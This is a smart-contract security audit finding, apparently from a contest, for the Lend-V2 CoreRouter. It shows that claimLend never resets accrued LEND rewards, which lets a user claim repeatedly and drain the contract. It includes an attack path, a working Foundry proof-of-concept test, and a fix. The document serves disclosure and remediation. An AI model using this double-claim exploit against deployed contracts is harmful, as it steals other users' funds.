Energetic Chocolate Weasel

High

# Malicious user can drain `CoreRouter` contract's LEND tokens, causing other users to be unable to claim their LEND tokens

### Summary

`CoreRouter::claimLend` does not reset `LendStorage::lendAccrued` during claiming, allowing malicious user to claim more LEND tokens than they have accrued. This drains the `CoreRouter` contract's LEND tokens, causing other users to be unable to claim their rightful LEND tokens.

### Root Cause

In [`CoreRouter::claimLend#L339-407`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L399-L407), `LendStorage::lendAccrued` is not reset to `0` when transferring LEND tokens to the user using `CoreRouter::grantLendInternal`. This allows a malicious user to repeatedly claim more LEND tokens than they have accrued, draining the `CoreRouter` contract's LEND tokens. As a result, other users will not be able to claim their rightful LEND tokens.

[`CoreRouter::claimLend#L339-407`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L399-L407)
```javascript
        for (uint256 j = 0; j < holders.length;) {
            uint256 accrued = lendStorage.lendAccrued(holders[j]);
            if (accrued > 0) {
                grantLendInternal(holders[j], accrued);
            }
            unchecked {
                ++j;
            }
        }
```

[`CoreRouter::grantLendInternal#L420-L423`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L420-L423)
```javascript
        if (amount > 0 && amount <= lendBalance) {
            IERC20(lendAddress).safeTransfer(user, amount);
            return 0;
        }
```

### Internal Pre-conditions

1. Other users need to have accrued claimable LEND in the `CoreRouter` contract

### External Pre-conditions

None

### Attack Path

1. Malicious user calls `CoreRouter::supply` to start accruing claimable LEND
2. Malicious user waits until they have accrued claimable LEND rewards
3. Malicious user calls `CoreRouter::claimLend` repeatedly to drain `CoreRouter` contract of LEND tokens
4. Other users with accrued claimable LEND calls `CoreRouter::claimLend` but does not receive their rightful LEND tokens

Note: In step 1, malicious user can also use other `CoreRouter` contract interactions (e.g. borrow) to start accruing claimable LEND

Note: In step 3, malicious user can also call `CoreRouter::claimLend` once with `holders` array filled repeatedly with malicious user's address to drain `CoreRouter` contract of LEND tokens

### Impact

1. The attacker can claim multiples of their accrued LEND tokens
2. `CoreRouter` is drained of LEND tokens
3. Users will not be able to claim their rightful LEND tokens

### PoC

Place the following into `test/TestSupplying.t.sol` and run
> forge test --mt testExploitClaimLend

```javascript
    function testExploitClaimLend() public {
        address token = supportedTokens[0];
        address lToken = lendStorage.underlyingTolToken(token);

        address mAlice = makeAddr("mAlice");
        ERC20Mock(token).mint(mAlice, 1e18);
        address Bob = makeAddr("Bob");
        ERC20Mock(token).mint(Bob, 1e18);

        address[] memory holdersParam = new address[](1);
        LToken[] memory lTokensParam = new LToken[](1);
        lTokensParam[0] = LToken(lToken);
        
        // 1. mAlice and Bob supplies token to CoreRouter
        vm.startPrank(mAlice);
        IERC20(token).approve(address(coreRouter), 1e18);
        coreRouter.supply(1e18, token);
        vm.stopPrank();
        vm.startPrank(Bob);
        IERC20(token).approve(address(coreRouter), 1e18);
        coreRouter.supply(1e18, token);
        vm.stopPrank();

        // 2. Some time passes, both mAlice and Bob has accrued claimable LEND
        vm.warp(block.timestamp + 20000);
        vm.roll(block.number + 20000);
        // mAlice accrues 1e18 claimable LEND
        // Bob accrues 1e18 claimable LEND

        // 3. mAlice claims all the LEND tokens accrued
        holdersParam[0] = mAlice;
        vm.startPrank(mAlice);
        coreRouter.claimLend(holdersParam, lTokensParam, true, true);
        coreRouter.claimLend(holdersParam, lTokensParam, true, true);
        vm.stopPrank();
        // mAlice accrued 1e18 claimable LEND but manages to claim 2e18 LEND
        assertEq(IERC20(lendtroller.getLendAddress()).balanceOf(mAlice), 2e18);
        // CoreRouter is drained of LEND tokens
        assertEq(IERC20(lendtroller.getLendAddress()).balanceOf(address(coreRouter)), 0);

        // 4. Bob calls claimLend but does not receive any LEND
        holdersParam[0] = Bob;
        vm.prank(Bob);
        coreRouter.claimLend(holdersParam, lTokensParam, true, true);
        // Bob accrued 1e18 claimable LEND but does not receive any LEND when claiming
        assertEq(IERC20(lendtroller.getLendAddress()).balanceOf(Bob), 0);
    }
```

### Mitigation

In `CoreRouter::grantLendInternal`, set `lendStorage.lendAccrued(user)` to `0` before transferring LEND tokens to the user.

`CoreRouter::grantLendInternal`
```diff
        if (amount > 0 && amount <= lendBalance) {
+           lendStorage.removeLendAccrued(user);
            IERC20(lendAddress).safeTransfer(user, amount);
            return 0;
        }
```

`LendStorage`
```diff
+   function removeLendAccrued(address user) external onlyAuthorized {
+       lendAccrued[user] = 0;
+   }
```